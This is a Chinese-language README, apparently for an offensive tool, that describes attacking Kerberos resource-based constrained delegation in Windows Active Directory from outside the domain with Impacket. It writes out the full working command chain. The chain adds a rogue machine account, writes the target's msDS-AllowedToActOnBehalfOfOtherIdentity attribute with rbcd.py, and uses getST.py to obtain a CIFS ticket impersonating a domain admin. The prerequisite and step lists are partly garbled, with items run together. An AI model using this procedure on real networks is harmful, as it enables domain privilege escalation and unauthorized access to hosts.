本仓库介绍针对 Windows Active Directory 域中 Kerberos 基于资源的约束性委派的实际攻击方法。
与其他常见实现的不同之处在于,我们是从 Windows 域外部 发起攻击,而非从已加入域的(通常是 Windows)计算机。
该攻击仅使用 Python3 Impacket(及其依赖)实现。已在 Arch 系统上使用最新版 Impacket(编写时版本为 0.9.21)测试通过。

简而言之,不涉及深层细节,该攻击针对域计算机,确切地说是针对目标域计算机的服务主体。
我们需要以下前提条件:
msDS-AllowedToActOnBehalfOfOtherIdentity 属性具有写入权限)MachineAccountQuota)攻击路径的极高层次描述:
msDS-AllowedToActOnBehalfOfOtherIdentity 属性收益:
针对此攻击的常见工具集运行在已加入域的 Windows 计算机上,使用:
msDS-AllowedToActOnBehalfOfOtherIdentity本实现使用纯 Impacket 从域外部执行。
使用 Impacket 示例中的 addcomputer.py 创建一个假计算机(名为 evilcomputer):
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
使用本仓库中实现的脚本 rbcd.py,该脚本将新创建的 EVILCOMPUTER 的相关安全描述符添加到目标计算机的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中。
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
该脚本大量使用了 Impacket 示例 ntlmrelayx.py 中的 Python 类。如需帮助和示例,请在无选项的情况下调用脚本。
现在,通过 S4U2Self 查询滥用约束性委派,并为目标计算机获取模拟服务票据的准备工作已完成。使用 Impacket 示例脚本 getST.py:
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
上述命令代表目标域用户 admin 获取一个 CIFS 服务票据,并将其存储在文件 admin.ccache 中。
将文件路径添加到 KRB5CCNAME 变量后,该票据即可供 Kerberos 客户端使用。
export KRB5CCNAME=`pwd`/admin.ccache
klist
关于滥用基于资源的约束性委派的详细信息:
以及最全面的 Kerberos 攻击演示之一: